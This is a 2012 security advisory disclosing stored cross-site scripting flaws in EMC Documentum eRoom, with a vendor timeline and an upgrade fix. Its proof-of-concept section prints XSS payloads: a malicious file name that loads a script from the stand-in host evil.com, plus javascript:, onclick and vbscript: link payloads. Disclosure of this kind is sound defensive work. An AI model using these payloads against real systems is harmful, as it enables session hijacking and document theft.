SEC Consult SA-20120315-0 :: Multiple permanent XSS vulnerabilities in EMC Documentum eRoom

2012-03-20T00:00:00
ID SECURITYVULNS:DOC:27832
Type securityvulns
Reporter Securityvulns
Modified 2012-03-20T00:00:00

Description

SEC Consult Vulnerability Lab Security Advisory < 20120315-0 >

          title: Multiple permanent cross-site scripting vulnerabilities
        product: EMC Documentum eRoom

vulnerable version: 7.33.498.98 fixed version: 7.4.4 impact: high homepage: http://www.emc.com/products/detail/software2/eroom.htm found: 2011-05-05 by: F. Lukavsky, B. Schildendorfer SEC Consult Vulnerability Lab https://www.sec-consult.com =======================================================================

Vendor description:

"EMC Documentum eRoom is easy-to-use online team collaboration software that enables distributed teams to work together more efficiently. With Documentum eRoom, teams around the world can accelerate document collaboration and group activities, improve the development and delivery of products and services, optimize collaborative business processes, improve innovation, and streamline decision-making."

http://www.emc.com/products/detail/software2/eroom.htm

Vulnerability overview/description:

Documentum eRoom suffers from multiple permanent cross-site scripting vulnerabilities, which allow an attacker to steal other user's sessions, to impersonate other users and to gain unauthorized access to documents hosted in eRooms. A JavaScript worm could be utilized to crawl an eRoom and gather all available documents.

There are many parameters which are not properly sanitized and thus vulnerable to XSS.

Proof of concept:

1) Permanent Cross-Site Scripting within file names The extension of files uploaded to Documentum eRoom are not sanitized. The following file name would lead to execution of script code as soon as the file is viewed (i.e. in the search results or the directory view)

file."><script>alert(1)</script> "><script src="http://evil&#x2e;com/evil%2ejs"></script> "><script src="/eRoomReq/Files/facility/eRoom/0_f000/test%2etxt"></script>

2) Permanent Cross-Site Scripting within the personal information Users can change their personal information. By editing the field "organization" it is possible to store a malicious JavaScript payload (e.g., <script>alert(1)</script>). The payload gets executed every time a user visits a part of the website responsible for alerting users about changes in the eRoom (i.e., "Choose Members" for eRooms).

3) Cross-Site Scripting within Links Via the import function it is possible to add formatted text to database fields even when the eRoom Plugin is not utilized. The following formatted text will create links that execute JavaScript code once clicked:

"<div class=""user""><a href=""javascript:alert(1)"">test</a></div>" "<div class=""user""><a onclick=""alert(1)"">test</a></div>"

4) Unhandled protocol handlers in links Although it is not possible to create links with the function "create link" that execute JavaScript code via the protocol handler "javascript:", the protocol handler "vbscript" is allowed and would execute VBScript, for example in IE (e.g., "vbscript:alert(1)", "callto:+1900[premium-rate number]", etc.).

Vulnerable / tested versions:

Documentum eRoom version 7.33.498.98

Vendor contact timeline:

2011-11-22: Contacting vendor through security_alert@emc.com 2011-11-23: Vendor response, issue is being forwarded to the appropriate product development team for review and confirmation 2011-11-28: Vendor response, issue has been reviewed affected version is not supported anymore current version not affected by #1 and #3 additional information required for #2 and #4 2011-11-29: Providing additional information for #2 and #4 2011-11-30: Vendor cannot reproduce #2 and #4, asks for additional information 2012-01-12: Call with vendor to clarify remaining issues. 2012-01-27: Vendor requests additional information regarding the test environment in order to reproduce vulnerabilities #2 and #4 2012-03-13: EMC releases patch 2012-03-15: Public release of SEC Consult advisory

Solution:

According to the vendor, these issues have been fixed in version 7.4.4 of Documentum eRoom. Upgrade to the new release.

Workaround:

Restrict access to the software as much as possible. Only allow trusted IP addresses and users in order to minimise attack surface. Do not host confidential information in Documentum eRoom.

Advisory URL:

https://www.sec-consult.com/en/advisories.html

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH

Office Vienna Mooslackengasse 17 A-1190 Vienna Austria

Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com https://www.sec-consult.com

EOF F. Lukavsky / @2012